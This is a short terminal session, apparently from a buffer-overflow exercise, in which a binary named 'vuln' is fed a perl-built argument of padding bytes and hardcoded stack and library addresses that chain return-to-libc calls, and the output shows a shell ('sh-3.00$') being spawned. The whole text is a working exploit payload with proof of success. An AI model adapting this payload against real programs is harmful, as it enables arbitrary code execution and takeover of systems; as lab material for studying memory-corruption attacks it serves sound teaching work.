bash-3.00$ ./vuln `perl -e 'print "A"x24 . "\x50\xf6\xff\xbf" . "\x8c\x83\x04\x08" .  "\x60\xf6\xff\xbf" . "\xf0\x4e\x06\x40" . "\x8c\x83\x04\x08" . "\x70\xfd\xff\xbf" . "\x70\xf6\xff\xbf" .  "\xf0\x4e\x06\x40" . "\xa0\xb1\x05\x40" . "\x70\xfd\xff\xbf"'`
0xbffff630
sh-3.00$ exit
exit
sh-3.00$ exit
exit
bash-3.00$